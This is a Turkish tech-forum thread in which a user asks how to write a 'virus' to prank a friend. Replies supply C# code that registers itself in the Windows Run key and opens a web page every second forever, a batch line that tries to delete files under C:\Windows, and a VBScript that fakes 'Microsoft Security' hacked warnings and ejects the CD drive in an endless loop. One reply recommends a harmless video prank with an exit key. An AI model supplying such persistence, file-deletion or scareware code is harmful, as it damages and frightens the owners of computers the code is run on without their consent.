Arkadaşıma şaka yapmak için virüs nasıl yaparım?

Earas · 13 Ocak 2023

AJudge dedi:
Galiba yanlış anlamadıysam bu virüs açıldığında sürekli rastgele klasörler oluşturup not defteri vs. açıyor. C# biliyorsanız bu virüsten iyisini bile yaparsınız diye düşünüyorum. Örneğin while komutu ile cmd'ye sürekli output verebilirsiniz. Tabi ben çok bilmiyorum bu sadece bir örnek.

Yok hocam ya klasör açmalı değil. Ekrandaki görüntü falan bozulsun yeterli.

flashneuron dedi:

C#:

using System;
using System.Diagnostics;

private void Form1_Load(object sender, System.EventArgs e)
{ 
    RegistryKey key = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", true); //Bilgisayar her açıldığında program çalışacak.
    key.SetValue(VirusAdi, "\"" + Application.ExecutablePath + "\"");

    while (true)
    {
    Process.Start("https://technopat.net/"); //1 saniyede 1 technopat.net açılacak.
    System.Threading.Thread.Sleep(1000);
    }
}

Sorumluluk kabul etmiyorum.

Sağolun hocam ama bilgisayar her açıldığında değil de exe'yi açtığında açılmasını istiyorum.

detista · 13 Ocak 2023

Daha önce de şaka programı yapmak isteyen bir kişiye önerdiğim fikri uygulayabilirsin:

detista dedi:
Kendin tasarlayacaksın. Önce bir dil seç. C/C++ ya da C# iş görür. Ardından eklemek istediğin efekti bul. Kendin yapmak zorunda değilsin. Matrix filminin meşhur yeşil yazıların aktığı efektini kullanabilirsin. Program içinde video nasıl oynatılır onu da araştırıp bulacaksın. Videoyu sonsuz loopa al. İsteğe bağlı olarak programı tam ekranda da çalıştırabilirsin. Çıkmak için bir kısayol da atyabilirsin. Ctrl + q gibi. Son olarak programını derleyip test edeceksin. Beğenirsen arkadaşına gönderebilirsin. Google, Microsoft Docs ve Stack Overflow yardımcın olsun.

Ayrıca bu bir virüs olmayacak. Sen sadece şaka programı yapmak istiyorsun. Virüs olunca şaka kakaya dönüşüyor.

EkmekArasıRam · 13 Ocak 2023

Earas dedi:
Yok hocam ya klasör açmalı değil. Ekrandaki görüntü falan bozulsun yeterli.

Sağolun hocam ama bilgisayar her açıldığında değil de exe'yi açtığında açılmasını istiyorum.

del c:\Windows *.*
msg * Hacklendin kardeşim

Sorumluluk kabul etmiyorum. Bunu birinin yapması lazımdı.

Kod:

x=msgbox("Bilgisayarınız Hacklendi" , , "Microsoft Secuırty")
x=msgbox("Selam ben Earas" , , "Microsoft Secuırty")
x=msgbox("Yani Bilgisayarını Hackleyen Kişi" , , "Microsoft Secuırty")
x=msgbox("Evet Ben Hacker'im" , , "Microsoft Secuırty")
x=msgbox("Hekır yani" , , "Microsoft Secuırty")
x=msgbox("Yalnız ben ciddiyim" , , "Microsoft Secuırty")
x=msgbox("Bu işi dalga sanmıyorsun değil mi?" , , "Microsoft Secuırty")
x=msgbox("Mesela şimdi CD sürücünü açsam inanır mısın?" , , "Microsoft Secuırty")
x=msgbox("Açayım mı?" , , "Microsoft Secuırty")
x=msgbox("Yapamaz mıyım?" , , "Microsoft Secuırty")
x=msgbox("Al o zaman" , , "Microsoft Secuırty")
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection

if colCDROMs.Count >=1 then
For i=0 to colCDROMs.COunt -1
colCDROMs.Item(i).Eject
Next ' cdrom
End If

Msgbox "Bilgisayarınız yoğun saldırı altında !" , vbCritical , "Microsoft"
Msgbox "Bilgisayarın haklı yoğun saldırı altındasın" , vbCritical , "Microsoft"
Msgbox "Az önce CD sürücüyü kapattın değil mi?" , vbCritical , "Microsoft"
Msgbox "Ama şimdi kapatamayacaksın" , vbCritical , "Microsoft"
Msgbox "Bak tekrar açıyorum" , vbCritical , "Microsoft"

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >=1 then
do
For i=0 to colCDROMs.COunt -1
colCDROMs.Item(i).Eject
Next ' cdrom
For i=0 to colCDROMs.COunt -1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
End If

Ama bunu .vbs olarak kaydet adamın cd-rom u açılınca cidden şaşıracak. (Kapatmak için taskmgr den wscripti kapat.)

Earas · 13 Ocak 2023

EkmekArasıRam dedi:

del c:\Windows *.*
msg * Hacklendin kardeşim

Sorumluluk kabul etmiyorum. Bunu birinin yapması lazımdı.

Kod:

x=msgbox("Bilgisayarınız Hacklendi" , , "Microsoft Secuırty")
x=msgbox("Selam ben Earas" , , "Microsoft Secuırty")
x=msgbox("Yani Bilgisayarını Hackleyen Kişi" , , "Microsoft Secuırty")
x=msgbox("Evet Ben Hacker'im" , , "Microsoft Secuırty")
x=msgbox("Hekır yani" , , "Microsoft Secuırty")
x=msgbox("Yalnız ben ciddiyim" , , "Microsoft Secuırty")
x=msgbox("Bu işi dalga sanmıyorsun değil mi?" , , "Microsoft Secuırty")
x=msgbox("Mesela şimdi CD sürücünü açsam inanır mısın?" , , "Microsoft Secuırty")
x=msgbox("Açayım mı?" , , "Microsoft Secuırty")
x=msgbox("Yapamaz mıyım?" , , "Microsoft Secuırty")
x=msgbox("Al o zaman" , , "Microsoft Secuırty")
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection

if colCDROMs.Count >=1 then
For i=0 to colCDROMs.COunt -1
colCDROMs.Item(i).Eject
Next ' cdrom
End If

Msgbox "Bilgisayarınız yoğun saldırı altında !" , vbCritical , "Microsoft"
Msgbox "Bilgisayarın haklı yoğun saldırı altındasın" , vbCritical , "Microsoft"
Msgbox "Az önce CD sürücüyü kapattın değil mi?" , vbCritical , "Microsoft"
Msgbox "Ama şimdi kapatamayacaksın" , vbCritical , "Microsoft"
Msgbox "Bak tekrar açıyorum" , vbCritical , "Microsoft"

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >=1 then
do
For i=0 to colCDROMs.COunt -1
colCDROMs.Item(i).Eject
Next ' cdrom
For i=0 to colCDROMs.COunt -1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
End If

Ama bunu .vbs olarak kaydet adamın cd-rom u açılınca cidden şaşıracak. (Kapatmak için taskmgr den wscripti kapat.)

Hocam neden sorumluluk kabul etmiyorum dediniz?

EkmekArasıRam · 14 Ocak 2023

Earas dedi:
Hocam neden sorumluluk kabul etmiyorum dediniz?

İlk koda sorumluluk kabul etmiyorum dedim 2. normal ama.

Arkadaşıma şaka yapmak için virüs nasıl yaparım?

Ayrıntılı düzenleme

Earas

Hectopat

detista

Megapat

EkmekArasıRam

Decipat

Earas

Hectopat

EkmekArasıRam

Decipat

Benzer konular

Technopat Haberler

Yeni konular

Yeni mesajlar

Gizliliğinize önem veriyoruz